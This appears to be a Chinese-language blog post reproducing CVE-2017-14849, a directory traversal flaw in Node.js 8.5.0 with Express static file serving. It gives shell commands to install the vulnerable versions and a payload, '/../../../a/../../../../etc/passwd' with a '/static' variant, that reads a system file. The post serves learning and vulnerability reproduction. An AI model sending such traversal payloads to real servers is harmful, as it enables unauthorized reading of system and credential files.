0x00 前言
早上看Sec-news安全文摘的時候,發現騰訊安全應急響應中心發表了一篇文章,Node.js CVE-2017-14849 漏洞分析(https://security.tencent.com/index.php/blog/msg/121),然后想着復現,學習學習,就有了這篇文章。
0x01 漏洞簡介
CVE(http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-14849)上面的描述是這樣的:
Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was incompatible with the pathname validation used by unspecified community modules.
換成我們看的懂的意思就是node.js 8.5.0 到8.6.0 之間的版本會造成目錄穿越漏洞,讀取任意文件,而漏洞的原因是因為對”..”的處理和另外的模塊不兼容。
打個比喻就是有一個人開發這個模塊,另外的一個人開發另外個模塊,大家對於這個東西的處理不一樣,從而導致出現了漏洞。而這里的模塊就是node.js 和 express。
影響版本:
Node.js 8.5.0 + Express 3.19.0-3.21.2
Node.js 8.5.0 + Express 4.11.0-4.15.5
0x02 node.js是什么
Node.js® 是一個基於 Chrome V8 引擎的 JavaScript 運行時。 Node.js 使用高效、輕量級的事件驅動、非阻塞 I/O 模型。它的包生態系統,npm,是目前世界上最大的開源庫生態系統。(抄從官網)
0x03 express是什么
Express是基於 Node.js 平台,快速、開放、極簡的 web 開發框架。(同樣抄從官網)
0x04 如何復現
下面采用騰訊雲開發者實驗室搭建環境進行快速復現。
復現准備:
0. 騰訊雲開發者實驗室的雲主機一台 (我這里用的是《基於 Ubuntu 搭建微信小程序服務》的實驗主機 ubuntu 16.04 64位)
1. node.js 8.5.0 (https://nodejs.org/download/release/v8.5.0/)
2. express-4.15.5 (https://github.com/expressjs/express/releases)
3. burpsuite
Step 1安裝node.js 8.5.0
下載node.js 8.5.0安裝包
wget https://nodejs.org/download/release/v8.5.0/node-v8.5.0-linux-x64.tar.gz
解壓安裝包
tar -zxvf node-v8.5.0-linux-x64.tar.gz
移到通用軟件安裝目錄/opt
mv node-v8.5.0-linux-x64 /opt/
安裝 npm 和 node 命令到系統命令
sudo ln -s /opt/node-v8.5.0-linux-x64 /bin/node /usr/local/bin/node
sudo ln -s /opt/node-v8.5.0-linux-x64 /bin/npm /usr/local/bin/npm
驗證一下:
node -v
輸出版本號則表示配置成功
Step2 安裝express-4.15.5
下載express-4.15.5
wget https://github.com/expressjs/express/archive/4.15.5.tar.gz
解壓壓縮包
tar -zxvf 4.15.5.tar.gz
進入express目錄下,安裝express
cd express-4.15.5 && npm install
進入到expresss-4.15.5/examples/static-files目錄里
node index.js
Step 3 發送payload驗證
Payload: /../../../a/../../../../etc/passwd
0x05 漏洞原理分析
為什么payload會是這樣的呢?請參考騰訊應急響應中心的那篇文章(https://security.tencent.com/index.php/blog/msg/121),寫的很言簡意賅。
(還不是因為自己菜,分析不出。。。。)
注意:該漏洞是建立在文件夾通過express.static
來托管的情況下,因為在這種情況下才會使用normalize函數進行path標准化。(發現來源於p神的分析)
比如代碼這樣寫:
app.use(express.static(path.join(__dirname, 'static')));
那么payload應該是
/../../../a/../../../../etc/passwd
但代碼如果是這樣寫的話:
app.use('/static',express.static(path.join(__dirname, 'static')));
那么payload應該為:
/static/../../../a/../../../../etc/passwd
0x06 后記
復現很簡單,但分析原理很難。至少我現在還沒弄明白。等我弄明白了,再寫寫怎么分析與跟蹤吧。
其實這里有一個挺有意思的點,那就是一些重大漏洞的追蹤問題,關於這個漏洞官方早在九月份就已經發布了說明,而這個問題是在最近才得到重視,很明顯就算是騰訊也沒有第一時間去跟蹤CVE的更新列表。
而在騰訊發了這篇文章之后,P神把復現環境給弄到了vulhub(https://github.com/vulhub/vulhub/tree/master/node/CVE-2017-14849),速度之快令人驚奇。然后再代碼審計里面發了,在微博里面發了。再接着整個安全圈其實都知道了。
然后這里我們得出了一個結論,如果想要得到第一手漏洞預警與學習,應該時刻關注着CVE列表,努力做第一個吃螃蟹的人。